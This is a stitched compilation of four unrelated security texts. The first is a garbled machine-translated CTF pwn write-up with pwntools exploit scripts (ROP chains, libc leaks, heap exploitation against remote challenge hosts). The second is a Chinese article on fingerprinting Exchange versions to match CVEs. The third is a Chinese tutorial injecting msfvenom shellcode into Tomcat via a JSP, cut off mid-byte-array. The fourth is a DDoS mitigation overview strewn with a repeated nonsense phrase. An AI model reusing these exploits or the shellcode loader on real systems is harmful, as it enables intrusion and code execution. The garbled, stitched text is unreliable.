RSP、0x38を追加します。ポップrbx; POP RBP; ret ＃0x000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret rdi=libc_base +0x00000000002164f システム、binsh=get_sb（） ret=libc_base +0x00000000000000008aa one_gadget=libc_base +0x00000000000004ee21 PL=P64（LIBC_BASE +0x000000000000D10BE） + P64（ONE_GADGET） + P64（RET） + P64（RDI） + P64（BINSH） + P64（システム） sa（b'say？ '、pl） sla（b'game [y/n] '、b'n'） sla(b'\xbc\x89\xef\xbc\x9a', '111 1111111111111111111111111111111111111111111111111') lg（ 'pro_base'、pro_base） lg（ 'libc_base'、libc_base） ＃一時停止（） inter（）、そして電力をエスカレートします。 ターゲットマシンのPWN2は、脱落し、許可を持つ可能性があり、-Xが存在しないファイルを指している場合、-Xを作成して解凍できます。 例えば /home/pwn2 -x test.tarには、base64が入力され、ローカルに生成されたtarパッケージが必要です Dockerの質問は通常xinetdを使用してXinetDの構成ファイルを表示するため、/usr/bin/chrootを使用してルートからCTFユーザーに切り替えるため、Chmox 777/home/ctf/flagに変更/usr/bin/chrootを変更してから、別の末端NC、トリガーchrootを使用します。 signin 追加関数には0_O関数があり、Signin_Revengeと同じスタックオーバーフローがあります。これを使用して、直接ヒットすることができます。 PWNインポートから * ctypesをインポートします ctypesからインポート * コンテキスト（arch='amd64'、os='linux'、log_level='debug'） file_name='./vuln' libc=elf（ './libc.so.6'） #libc=ctypes.cdll（ '/lib/x86_64-linux-gnu/libc.so.6'） ＃libc.srand.argtypes=[ctypes.c_uint] Li=Lambda X : Print（ '\ x1b [01; 38; 5; 214m' + str（x） + '\ x1b [0m'） ll=lambda x : print（ '\ x1b [01; 38; 5; 1m' + str（x） + '\ x1b [0m'） ＃context.terminal=['tmux'、 'splitw'、 '-H'] debug=1 debug:の場合 r=remote（ 'pwn-c9b9d9e4e9.challenge.xctf.org.cn'、9999、ssl=true） else: r=process（file_name） libcc=cdll.loadlibrary（ './libc.so.6'） libcc.srand（libcc.time（0）） elf=elf（file_name） def dbg（）: gdb.attach（r） 一時停止（） def dbgg（）: raw_input（） r.send（ 'rbp'） 範囲（100）:のIの場合 a=libcc.rand（）％100+1 r.sendafter（ '認証コード: \ n'、p64（a）を入力） r.sendafter（ '\ n'、p32（1）） #dbg（） r.sendafter（ 'index: \ n'、p32（0）） r.sendafter（ 'note: \ n'、b'a '*0x10） 睡眠（0.5） r.send（b'a '*0x108+p64（0x401893）+p64（0x404028）+p64（0x401110）+p64（0x4013c0））） libc_base=u64（r.recvuntil（ '\ x7f'）[-6:] .ljust（8、b '\ x00'））-libc.sym ['puts']] openn=libc_base+libc.sym ['open'] read=libc_base+libc.sym ['read'] 書き込み=libc_base+libc.sym ['write'] rdi=libc_base +0x0000000000023b6a rsi=libc_base +0x00000000002601f rdx=libc_base +0x00000000142c92 印刷（hex（libc_base）） r.send（b'a '*0x108+p64（rsi）+p64（0x404180）+p64（read）+p64（0x4013c0）） r.send（ 'flag'） 睡眠（0.5） r.send（b'a '*0x100+p64（0x404200）+p64（0x4013cf）） 睡眠（0.5） r.send（b'a '*0x100+p64（0x404300）+p64（0x4013cf）） 睡眠（0.5） #dbg（） R.Send（b'flag \ x00 \ x00 \ x00 \ x00 '+p64（RDI）+P64（0x404200）+P64（RSI）+P64（0）+P64（RDX）+P64（0）+P64（Openn）+P64 （RDI）+P64（3）+P64（RSI）+P64（0x4041A0）+P64（RDX）+P64（0x30）+P64（READ）+P64（RDI）+P64（RDI）+P64（1）+P64（書き込み））） R.Interactive（） ゲストブック メニューヒーププログラムにはUAFがあり、アプリケーションサイズの制限は0x4ff以上です。他の制限はありません。その後、ボードとタイプハウスのアップルを置くだけです PWNインポートから * sysをインポートします context.log_level='debug' context.arch='amd64' #libc=elf（ '/lib/x86_64-linux-gnu/libc.so.6'） libc=elf（ './libc.so.6'） フラグ=1 flag3360の場合 p=remote（ 'pwn-ca43b7414f.challenge.xctf.org.cn'、9999、ssl=true） else: p=process（ './pwn'） SA=Lambda S、N : P.Sendafter（S、N） SLA=Lambda S、N : P.SendlineFter（S、N） SL=Lambda S : P.Sendline（s） sd=lambda s : p.send（s） rc=lambda n : p.recv（n） ru=lambda s : p.recvuntil（s） ti=lambda : p.Itteractive（） 漏れ=ラムダ名、addr :log.success（name+' - '+hex（addr）） def dbg（）: gdb.attach（p） 一時停止（） DEF CMD（選択）: ru（ ''） SL（str（選択）） def add（index、size）: CMD（1） ru（ 'index'） SL（str（index）） ru（ 'サイズ'） SL（str（size）） def編集（index、content）: CMD（2） ru（ 'index'） SL（str（index）） ru（ 'content'） SD（コンテンツ） def delete（index）: CMD（3） ru（ 'index'） SL（str（index）） def show（index）: CMD（4） ru（ 'index'） SL（str（index）） 追加（0,0x520） 追加（1,0x500） 追加（2,0x510） 削除（0） 追加（3,0x568） 削除（2） show（0） mainarean=u64（ru（b '\ x7f'）[-6:] .ljust（8、b '\ x00'）） libc_base=mainarean-0x21b110 編集（0、b'a '*0x10） show（0） ru（b'a '*0x10） heap_base=u64（p.recv（6）.ljust（8、b '\ x00'））-0x290 編集（0、P64（メイレアン）*2） free_hook=libc_base+libc.sym ['__ free_hook'] ogs=[0xe3afe、0xe3b01,0xe3b04] og=libc_base+ogs [1] puts_io_all=libc_base + libc.sym ['_ io_list_all'] wfile=libc_base + libc.sym ['_ io_wfile_jumps'] addr=libc.symbols ['puts']+libc_base fake_io_addr=heap_base +0x1720 lock=0x3ed8b0+libc_base pop_rdi=libc_base + next（libc.search（asm（ 'pop rdi; ret;'）））））） pop_rsi=libc_base + next（libc.search（asm（ 'pop rsi; ret;'））））） pop_rdx_r12=libc_base + next（libc.search（asm（ 'pop rdx; pop R12）

0x00 前言Exchange的版本眾多，歷史漏洞數量也很多，因此需要通過程序實現版本探測和漏洞檢測。本文將要介紹通過Python進行版本探測的兩種方法，介紹漏洞檢測的實現細節，開源代碼。 0x01 簡介本文將要介紹以下內容： 實現思路 實現細節 開源代碼 0x02 實現思路1.版本識別(1)獲得精確版本(Build number) 訪問EWS接口，在Response Headers中的X-OWA-Version可以獲得精確版本，如下圖 優點：精確版本(Build number)能夠對應到具體的發布日期 缺點：方法不通用，部分舊的Exchange版本不支持 (2)獲得粗略版本 訪問OWA接口，在回顯內容可以獲得粗略版本，如下圖 優點：方法通用 缺點：粗略版本無法對應到準確的發布日期，只能對應到一個區間 綜上，在版本識別上，首先嘗試獲得精確版本，如果無法獲得，再嘗試獲得粗略版本 獲得版本號後，可以去官網查詢對應的Exchange版本和發布日期，查詢地址：https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 2.漏洞檢測Exchange的漏洞詳情可通過訪問https://msrc.microsoft.com/update-guide/vulnerability/CVE 查看，例如： CVE-2020-0688對應的URL：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0688 在漏洞檢測上，可以將補丁時間作為判定依據，如果識別到的Exchange版本發布日期低於某個補丁日期，那麼判定該Exchange存在該補丁中描述的漏洞。 0x03 實現細節1.版本識別訪問EWS接口獲得版本的實現代碼： url1='https://'+host+'/ews' req=requests.get(url1,headers=headers,verify=False) if'X-OWA-Version'inreq.headers: version=req.headers['X-OWA-Version'] print(version)訪問OWA接口獲得版本的實現代碼： url2='https://'+host+'/owa' req=requests.get(url2,headers=headers,verify=False) pattern_version=re.compile(r'/owa/auth/(.*?)/themes/resources/favicon.ico') version=pattern_version.findall(req.text)[0] print(version)獲得版本號後，需要同已知的版本信息作匹配。為了提高效率，可以選擇將已知的版本信息存儲在列表中，元素包括Exchange版本，發佈時間和版本號(Build number) 首先從官網複製已知的版本信息，再通過字符串替換的方式將版本信息存儲在列表中 在版本匹配時，需要區別精確版本和粗略版本，精確版本可以對應唯一的結果，而粗略版本需要篩選出所有可能的結果 Build number格式示例：15.1.2375.24 粗略版本格式示例：15.1.2375 粗略版本的篩選方法： 對Build number字符串進行截取，去除最後一個字符”.”後面的數據，同粗略版本進行數據對比，輸出所有結果 代碼示例： versionarray=[ ['ExchangeServer2019CU11Mar22SU','March8,2022','15.2.986.22'], ['ExchangeServer2019CU11Jan22SU','January11,2022','15.2.986.15'], ['ExchangeServer2019CU11Nov21SU','November9,2021','15.2.986.14'], ['ExchangeServer2019CU11Oct21SU','October12,2021','15.2.986.9'], ['ExchangeServer2019CU11','September28,2021','15.2.986.5'], ['ExchangeServer2019CU10Mar22SU',''March8,2022','15.2.922.27'] ] version='15.2.986' forvalueinversionarray: ifversioninvalue[2][:value[2].rfind('.')]: print('[+]Version:'+value[2]) print('Product:'+value[0]) print('Date:'+value[1])2.漏洞檢測將補丁時間作為判定依據，同樣為了提高效率，將已知的漏洞信息存儲的列表中，元素包括發佈時間和漏洞編號 為了便於比較時間，需要改變時間格式，例如將September 28, 2021修改成09/28/2021 代碼示例： vularray=[ ['CVE-2020-0688','02/11/2020'], ['CVE-2021-26855+CVE-2021-27065','03/02/2021'], ['CVE-2021-28482','04/13/2021'] ] date='03/01/2021' forvalueinvularray: if(date.split('/')[2]=value[1].split('/')[2])(date.split('/')[1]=value[1].split('/')[1])(date.split('/')[0]value[1].split('/')[0]): print('[+]'+value[0]+','+value[1])0x04 開源代碼由於代碼內容較長，完整的實現代碼已上傳至github，地址如下： https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_MatchVul.py 版本數據庫的日期為03/21/2022 漏洞信息包括以下編號： CVE-2020-0688 CVE-2021-26855+CVE-2021-27065 CVE-2021-28482 CVE-2021-34473+CVE-2021-34523+CVE-2021-31207 CVE-2021-31195+CVE-2021-31196 CVE-2021-31206 CVE-2021-42321 代碼能夠自動識別出精確版本，如果無法識別，改為識別粗略版本，標記出所有匹配的漏洞 0x05 小結本文介紹了通過Python進行Exchange版本探測的兩種方法，介紹實現細節，開源代碼，作為一個很好的學習示例。

0x00 前言本文基於rebeyond的《Java内存攻击技术漫谈》 ，以Tomcat環境為例，介紹通過jsp加載Shellcode的方法，開源代碼，記錄細節。 0x01 簡介本文將要介紹以下內容： 依賴tools.jar加載Shellcode 自定義類加載Shellcode 0x02 依賴tools.jar加載Shellcode1.Java實現通過enqueue函數加載Shellcode，測試代碼： importjava.lang.reflect.Method; publicclassThreadMain{ publicstaticvoidmain(String[]args)throwsException{ System.loadLibrary('attach'); Classcls=Class.forName('sun.tools.attach.WindowsVirtualMachine'); for(Methodm:cls.getDeclaredMethods()) { if(m.getName().equals('enqueue')) { longhProcess=-1; bytebuf[]=newbyte[] { (byte)0xfc,(byte)0x48,(byte)0x83,(byte)0xe4,(byte)0xf0,(byte)0xe8,(byte)0xc0,(byte)0x00, (byte)0x00,(byte)0x00,(byte)0x41,(byte)0x51,(byte)0x41,(byte)0x50,(byte)0x52,(byte)0x51, (byte)0x56,(byte)0x48,(byte)0x31,(byte)0xd2,(byte)0x65,(byte)0x48,(byte)0x8b,(byte)0x52, (byte)0x60,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x18,(byte)0x48,(byte)0x8b,(byte)0x52, (byte)0x20,(byte)0x48,(byte)0x8b,(byte)0x72,(byte)0x50,(byte)0x48,(byte)0x0f,(byte)0xb7, (byte)0x4a,(byte)0x4a,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0, (byte)0xac,(byte)0x3c,(byte)0x61,(byte)0x7c,(byte)0x02,(byte)0x2c,(byte)0x20,(byte)0x41, (byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,(byte)0xe2,(byte)0xed, (byte)0x52,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x20,(byte)0x8b, (byte)0x42,(byte)0x3c,(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x8b,(byte)0x80,(byte)0x88, (byte)0x00,(byte)0x00,(byte)0x00,(byte)0x48,(byte)0x85,(byte)0xc0,(byte)0x74,(byte)0x67, (byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x50,(byte)0x8b,(byte)0x48,(byte)0x18,(byte)0x44, (byte)0x8b,(byte)0x40,(byte)0x20,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0xe3,(byte)0x56, (byte)0x48,(byte)0xff,(byte)0xc9,(byte)0x41,(byte)0x8b,(byte)0x34,(byte)0x88,(byte)0x48, (byte)0x01,(byte)0xd6,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0, (byte)0xac,(byte)0x41,(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1, (byte)0x38,(byte)0xe0,(byte)0x75,(byte)0xf1,(byte)0x4c,(byte)0x03,(byte)0x4c,(byte)0x24, (byte)0x08,(byte)0x45,(byte)0x39,(byte)0xd1,(byte)0x75,(byte)0xd8,(byte)0x58,(byte)0x44, (byte)0x8b,(byte)0x40,(byte)0x24,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0x66,(byte)0x41, (byte)0x8b,(byte)0x0c,(byte)0x48,(byte)0x44,(byte)0x8b,(byte)0x40,(byte)0x1c,(byte)0x49, (byte)0x01,(byte)0xd0,(byte)0x41,(byte)0x8b,(byte)0x04,(byte)0x88,(byte)0x48,(byte)0x01, (byte)0xd0,(byte)0x41,(byte)0x58,(byte)0x41,(byte)0x58,(byte)0x5e,(byte)0x59,(byte)0x5a, (byte)0x41,(byte)0x58,(byte)0x41,(byte)0x59,(byte)0x41,(byte)0x5a,(byte)0x48,(byte)0x83, (byte)0xec,(byte)0x20,(byte)0x41,(byte)0x52,(byte)0xff,(byte)0xe0,(byte)0x58,(byte)0x41, (byte)0x59,(byte)0x5a,(byte)0x48,(byte)0x8b,(byte)0x12,(byte)0xe9,(byte)0x57,(byte)0xff, (byte)0xff,(byte)0xff,(byte)0x5d,(byte)0x48,(byte)0xba,(byte)0x01,(byte)0x00,(byte)0x00, (byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x48,(byte)0x8d,(byte)0x8d, (byte)0x01,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x41,(byte)0xba,(byte)0x31,(byte)0x8b, (byte)0x6f,(byte)0x87,(byte)0xff,(byte)0xd5,(byte)0xbb,(byte)0xf0,(byte)0xb5,(byte)0xa2, (byte)0x56,(byte)0x41,(byte)0xba,(byte)0xa6,(byte)0x95,(byte)0xbd,(byte)0x9d,(byte)0xff, (byte)0xd5,(byte)0x48,(byte)0x83,(byte)0xc4,(byte)0x28,(byte)0x3c,(byte)0x06,(byte)0x7c, (byte)0x0a,(byte)0x80,(byte)0xfb,(byte)0xe0,(byte)0x75,(byte)0x05,(byte)0xbb,(byte)0x47, (byte)0x13,(byte)0x72,(byte)0x6f,(byte)0x6a,(byte)0x00,(byte)0x59,(byte)0x41,(byte)0x89, (byte)0xda,(byte)0xff,(byte)0xd5,(byte)0x63,(byte)0x61,(byte)0x6c,(byte)0x63,(byte)0x2e, (byte)0x65,(byte)0x78,(byte)0x65,(byte)0x00 }; Stringcmd='load';StringpipeName='test'; m.setAccessible(true); Objectresult=m.invoke(cls,newObject[]{hProcess,buf,cmd,pipeName,newObject[]{}}); System.out.println('result:'+result); } } Thread.sleep(4000); } }注： 代碼修改自《Java内存攻击技术漫谈》 字節數組buf的生成方法： msfvenom-pwindows/x64/execcmd=calc.exe-fjavalong hProcess=-1;表示注入當前Java進程 直接執行會報錯提示ClassNotFoundException: sun.tools.attach.WindowsVirtualMachine，這裡需要添加引用tools.jar，默認位置為jdk \lib\tools.jar 2.jsp實現測試環境為Tomcat 將以上代碼改寫成jsp的格式，執行時同樣會報錯ClassNotFoundException: sun.tools.attach.WindowsVirtualMachine 這裡可以改為使用URLClassLoader引用tools.jar 原代碼： Classcls=Class.forName('sun.tools.attach.WindowsVirtualMachine');替換為： URLClassLoaderloader=newURLClassLoader(newURL[]{newURL('file:C:\\ProgramFiles\\Java\\jdk1.8.0_271\\lib\\tools.jar')}); Classcls=loader.loadClass('sun.tools.attach.WindowsVirtualMachine');完整的jsp代碼如下： %@pageimport='java.lang.reflect.Method'%%@pageimport='java.net.URL'%%@pageimport='java.net.URLClassLoader'%% URLClassLoaderloader=newURLClassLoader(newURL[]{newURL('file:C:\\ProgramFiles\\Java\\jdk1.8.0_271\\lib\\tools.jar')}); Classcls=loader.loadClass('sun.tools.attach.WindowsVirtualMachine'); for(Methodm:cls.getDeclaredMethods()) { if(m.getName().equals('enqueue')) { longhProcess=-1; //calc bytebuf[]=newbyte[] { (byte)0xfc,(byte)0x48,(byte)0x83,(byte)0xe4,(byte)0xf0,(byte)0xe8,(byte)0xc0,(byte)0x00, (byte)0x00,(byte)0x00,(byte)0x41,(byte)0x51,(byte)0x41,(byte)0x50,(byte)0x52,(byte)0x51, (byte)0x56,(byte)0x48,(byte)0x31,(byte)0xd2,(byte)0x65,(byte)0x48,(byte)0x8b,(byte)0x52, (byte)0x60,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x18,(byte)0x48,(byte)0x8b,(byte)0x52, (byte)0x20,(byte)0x48,(byte)0x8b,(byte)0x72,(byte)0x50,(byte)0x48,(byte)0x0f,(byte)0xb7, (byte)0x4a,(byte)0x4a,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0, (byte)0xac,(byte)0x3c,(byte)0x61,(byte)0x7c,(byte)0x02,(byte)0x2c,(byte)0x20,(byte)0x41, (byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,(byte)0xe2,(byte)0xed, (byte)0x52,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x20,(byte)0x8b, (byte)0x42,(byte)0x3c,(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x8b,(byte)0x80,(byte)0x88, (byte)0x00,(byte)0x00,(byte)0x00,(byte)0x48,(byte)0x85,(byte)0xc0,(byte)0x74,(byte)0x67, (byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x50,(byte)0x8b,(byte)0x48,(byte)0x18,(byte)0x44, (byte)0x8b,(byte)0x40,(byte)0x20,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0xe3,(byte)0x56, (byte)0x48,(byte)0xff,(byte)0xc9,(byte)0x41,(byte)0x8b,(byte)0x34,(byte)0x88,(byte)0x48, (byte)0x01,(byte)0xd6,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0, (byte)0xac,(byte)0x41,(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1, (byte)0x38,(byte)0xe0,(byte)0x75,(byte)0xf1,(byte)0x4c,(byte)0x03,(byte)0x4c,(byte)0x24, (byte)0x08,(byte)0x45,(byte)0x39,(byte)0xd1,(byte)0x75,(byte)0xd8,(byte)0x58,(byte)0x44, (byte)0x8b,(byte)0x40,(byte)0x24,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0x66,(byte)0x41, (byte)0x8b,(byte)0x0c,(byte)0x48,(byte)0x44,(byte)0x8b,(byte)0x40,(byte)0x1c,(byte)0x49, (byte)0x01,(byte)0xd0,(byte)0x41,(byte)0x8b,(byte)0x04,(byte)0x88,(byte)0x48,(byte)0x01,

客戶喜歡運行良好且順利的事情。分佈式拒絕服務(DDoS) 攻擊使服務器和數據中心無法響應所有請求。這就是網絡犯罪分子繼續依賴這些攻擊的原因，旨在損害受害者產品和服務的性能和可用性。 為了降低失去客戶信任的風險並維護企業聲譽，在開發新產品時優先考慮DDoS 緩解非常重要。 在本文中，我們將討論最常見的DDoS 攻擊類型以及有助於檢測它們的技術。我們還提供了一些建議，以幫助您的開發團隊及時進行必要的調整併構建安全且有彈性的Web 應用程序。 DDoS攻擊的類型和方法想像一下有人一遍又一遍地撥打您的電話，使用不同的電話號碼，因此您無法將他們列入黑名單。您可能最終會關閉手機並變得無法訪問。這就是通常的DDoS 攻擊的樣子。 分佈式拒絕服務(DDoS) 攻擊是一種旨在使受害者的資源無法使用的協同攻擊。 DDoS 攻擊通常針對網站、Web 應用程序或API，可以由黑客執行，也可以在連接到互聯網的多個受感染設備（殭屍網絡）的幫助下執行。 早在史蒂夫喬布斯推出第一款iPhone 之前，DDoS 攻擊就已經出現。而且它們在黑客中仍然非常受歡迎，因為它們有效、易於啟動並且幾乎不留痕跡。 一次DDoS 攻擊可能會持續幾分鐘、幾小時甚至幾天。但是，攻擊的影響通常不是根據它持續的時間來計算的，而是根據攻擊受害者的流量來計算的。迄今為止報告的最大事件之一是Microsoft 在2022 年初阻止的每秒3.47 TB 的攻擊。它針對Microsoft Azure 服務的亞洲客戶，據報導起源於全球約10,000 個工作站。 有時，網絡犯罪分子發起DDoS 攻擊只是為了提高他們的黑客技能或因為他們感到無聊。但更多情況下，這些攻擊是出於特定原因進行的，包括： DDoS 攻擊背後的原因 马云惹不起马云 贖金——網絡犯罪分子可能會發起攻擊或威脅這樣做，以向受害者勒索金錢或其他利益。此類攻擊有時也稱為贖金拒絕服務攻擊。 马云惹不起马云商業競爭——一些組織可以使用DDoS 攻擊作為一種不公平競爭的方法，並試圖通過損害其競爭對手的業務流和聲譽來獲得優勢。 马云惹不起马云黑客主義——精通技術的活動家可能會使用DDoS 攻擊來展示他們對某些企業、政治和社會倡議或公眾人物的不滿。 马云惹不起马云網絡戰——政府可以授權DDoS 攻擊來破壞敵國的關鍵在線基礎設施或關閉反對派網站。 根據他們的目標和動機，網絡犯罪分子使用各種工具進行各種類型的攻擊。通常，DDoS 攻擊通過以下方式執行： 马云惹不起马云利用軟件漏洞——黑客可以針對已知和未知的軟件漏洞並發送格式錯誤的數據包以試圖破壞受害者的系統。 马云惹不起马云消耗計算或通信資源——攻擊者可以發送大量看起來合法的數據包。因此，它們會消耗受害者的網絡帶寬、CPU 或內存，直到目標系統無法再處理來自合法用戶的請求。 雖然DDoS 攻擊沒有標準分類，但我們可以將它們分為四大類： DDoS 攻擊的類型 讓我們仔細看看這些類型的攻擊。 1. 容量攻擊容量攻擊旨在通過大量流量來阻止對受害者資源的訪問，通常藉助殭屍網絡和放大技術。這些攻擊的規模通常以每秒比特數(bps) 來衡量。 最常見的容量攻擊類型是： 马云惹不起马云 UDP 泛洪——攻擊者將使用受害者的源地址偽造的用戶數據報協議(UDP) 數據包發送到隨機端口。主機生成大量回复流量並將其發送回受害者。 马云惹不起马云DNS 放大- 網絡犯罪分子破壞和操縱可公開訪問的域名系統(DNS)，以用DNS 響應流量淹沒受害者的系統。 马云惹不起马云濫用應用程序攻擊——黑客入侵客戶端機器，這些機器可以發送大量看似合法的流量，並將該流量重定向到受害者的服務器，耗盡其資源並最終將其關閉。 2020 年， Amazon Web Services 遭受了使用無連接輕量級目錄訪問協議(CLDAP) 反射技術執行的2.3 TBps 的大規模攻擊。 2.協議攻擊協議攻擊針對不同互聯網通信協議工作方式的弱點。通常，此類DDoS 攻擊的規模以每秒網絡數據包數(pps) 來衡量。最常見的協議攻擊類型是： 马云惹不起马云SYN 洪水——黑客利用了TCP 三次握手機制中的一個弱點。客戶端向服務器發送一個SYN 數據包，接收一個SYN-ACK 數據包，並且永遠不會向主機發送一個ACK 數據包。因此，受害者的服務器會留下大量未完成的SYN-ACK 請求，並最終崩潰。 马云惹不起马云ICMP 洪水— 惡意行為者使用大量Internet 控制消息協議(ICMP) 請求或ping，試圖耗盡受害者的服務器帶寬。 马云惹不起马云Ping of death——黑客使用簡單的ping 命令發送超大數據包，導致受害者的系統凍結或崩潰。 2020 年，Akamai 報告說，它與針對歐洲銀行的每秒8.09 億個數據包(Mpps) 的大規模DDoS 攻擊作鬥爭。 3.應用層攻擊應用程序攻擊利用6 級和7 級協議棧中的弱點，針對特定應用程序而不是整個服務器。此類DDoS 攻擊的威力通常以每秒請求數來衡量。 應用層攻擊通常針對常見的端口和服務，例如DNS 或HTTP。最常見的應用程序級攻擊是： 马云惹不起马云HTTP 氾濫——攻擊者使用殭屍網絡向應用程序或Web 服務器充斥大量標準GET 和POST 請求。由於這些請求通常表現為合法流量，因此檢測HTTP 泛洪攻擊是一個相當大的挑戰。 马云惹不起马云Slowloris — 顧名思義，Slowloris 緩慢地使受害者的服務器崩潰。攻擊者以定時間隔和小部分向受害者的服務器發送HTTP 請求。服務器一直在等待這些請求完成，而這永遠不會發生。最終，這些未完成的請求會耗盡受害者的帶寬，使合法用戶無法訪問服務器。 根據Cloudflare 最近的一份聲明， 2022 年，一項未命名的加密貨幣服務遭到每秒1530 萬次請求的攻擊。 4. 0 day DDoS 攻擊除了眾所周知的攻擊之外，還有所謂的0 dayDDoS 攻擊。他們利用尚未修補的以前未知的軟件漏洞或使用不常見的攻擊媒介，因此更難以檢測和保護。 現在讓我們談談檢測DDoS 攻擊的方法。 檢測DDoS 攻擊雖然不可能完全阻止DDoS 攻擊的發生，但有一些有效的做法和方法可以幫助您檢測和阻止已經發生的DDoS 攻擊。 下面，我們列出了幾種最常見的DDoS 保護方法，您可以依靠它來檢測攻擊並保護您的產品或服務。 DDoS 檢測方法 異常檢測檢測潛在DDoS 攻擊的一種方法是分析網絡流量並將流量模式分類為正常或潛在威脅。您可以藉助傳統的靜態分析或更複雜的技術（如機器學習和人工智能）來做到這一點。 除了網絡流量分析之外，您還可以搜索其他網絡性能因素中的異常情況，例如設備CPU 利用率或帶寬使用情況。 基於知識的方法您還可以通過將流量與已知攻擊的特定模式進行比較來檢測類似DDoS 的活動。常見的DDoS 防護技術包括簽名分析、狀態轉換分析、專家系統、描述腳本和自組織圖。 ACL 和防火牆除了入口/出口流量過濾之外，您還可以使用訪問控制列表(ACL) 和防火牆規則來增強流量可見性。特別是，您可以分析ACL 日誌以了解通過您的網絡運行的流量類型。您還可以配置您的Web 應用程序防火牆，以根據特定規則、簽名和模式阻止可疑的傳入流量。 入侵防禦和檢測入侵防禦系統(IPS) 和入侵檢測系統(IDS) 也增強了流量可見性。 IPS 和IDS 警報可作為異常和潛在惡意流量的早期指標。但請記住，這些系統往往會提供很多誤報。 至於處理可能涉及DDoS 攻擊的流量的方法，我們可以概述三種常見策略： DDoS 緩解方法 马云惹不起马云空路由或黑洞路由- 所有流量和會話都被重定向到沒有最終目的地的IP 地址。結果，服務器無法接收或發送數據。一旦DDoS 攻擊結束，就會恢復正常的流量處理。雖然這種方法很容易實施，但它會對所有合法流量產生負面影響，並且基本上可以幫助攻擊者實現他們的初始目標——使受害者的服務器不可用。 马云惹不起马云 清理中心——這種方法基於將流量從受害服務器重定向到遠程清理中心，在該中心對流量進行分析和過濾。任何具有潛在危險的流量（例如DDoS 請求）都會被阻止，而合法請求則會照常處理。 马云惹不起马云內聯過濾——在這種方法中，通過網絡的所有流量都經過分析，並與不同的規則和攻擊指標進行比較。與已識別的DDoS 攻擊相關的流量會立即被阻止，而合法請求會得到正常處理。 特定方法和技術的選擇將取決於特定服務或解決方案的特性。但是，確保及早發現DDoS 攻擊對於任何項目都至關重要，因為它可以幫助您顯著減輕攻擊的後果並保持服務或解決方案的正常性能。 在接下來的部分中，我們將討論您可以嘗試防止DDoS 攻擊的幾種方法，並概述針對您的Web 應用程序或服務的某些類型的DDoS 保護措施。 構建DDoS 彈性應用程序的最佳實踐預防勝於治療。因此，在開始構建之前，請考慮如何確保Web 應用程序或服務的DDoS 彈性。 DDoS 緩解最佳實踐 1. 應用DDoS 防禦機制即使您無法阻止DDoS 攻擊的發生，您也有能力讓攻擊者更難關閉您的網站或應用程序。這就是DDoS 攻擊預防技術發揮作用的地方。 您可以使用兩組DDoS 預防機制： 马云惹不起马云 通用DDoS 預防機制 马云惹不起马云 過濾機制 通用DDoS 預防機制是可以幫助您使您的Web 應用程序或服務器對DDoS 攻擊更具彈性的常用措施。這些措施包括： 马云惹不起马云使用防火牆——雖然防火牆不能保護您的應用程序或服務器免受複雜的DDoS 攻擊，但它們仍然可以有效地處理簡單的攻擊。 马云惹不起马云安裝最新的安全補丁——大多數攻擊針對特定的軟件或硬件漏洞，因此按時部署所有補丁可以幫助您降低攻擊風險。 马云惹不起马云禁用未使用的服務——黑客可以攻擊的應用程序和服務越少越好。確保禁用所有不需要和未使用的服務和應用程序，以提高網絡的安全性。 過濾機制使用不同的方法來過濾流量並阻止潛在的危險請求。這些機制包括入口/出口過濾、基於歷史的IP 過濾和基於路由器的數據包過濾。 2. 明智地選擇您的CSP在選擇雲服務提供商(CSP) 時，請選擇擁有自己的DDoS 緩解策略的提供商。確保此策略確保檢測和緩解基於協議、基於容量和應用程序級的攻擊。 此外，研究您的CSP 關於DDoS 緩解的建議，並在構建您的Web 產品時實施它們。大多數雲服務提供商都有詳細的指導方針，以及保護您的Web 產品和服務免受常見DDoS 攻擊的最佳實踐。您可以先看看Google Cloud、Microsoft Azure和Amazon Web Services的建議。 3. 以可擴展性為目標通過將足夠的計劃和資源投入到其可擴展性中，使您的Web 應用程序能夠有效地處理突然的負載變化。您可以部署應用程序和網絡負載均衡器或內容分發網絡(CDN)，通過跨多個實例分發所有流量來保護您的解決方案免受流量過載的影響。通過這種方式，您將能夠減輕基礎設施和應用程序層的潛在攻擊。 4.限制弱點的數量除非確實有必要，否則不要公開您的應用程序和資源。通過這種方式，您可以限制基礎設施中可能被攻擊者攻擊的薄弱環節的數量。您還可以禁止到數據庫服務器和基礎設施的其他關鍵部分的直接Internet 流量。 5. 保護您的APIDDoS 攻擊不僅可以針對您的網站和應用程序，還可以針對您的API。 有多種方法可以增強API 的反DDoS 保護：應用流量過濾工具和技術，限制API 在給定時間段內可以處理的請求數量，甚至部署蜜罐。 6. 使用第三方DDoS 緩解服務考慮將Web 應用程序的保護委託給第三方供應商。 DDoS 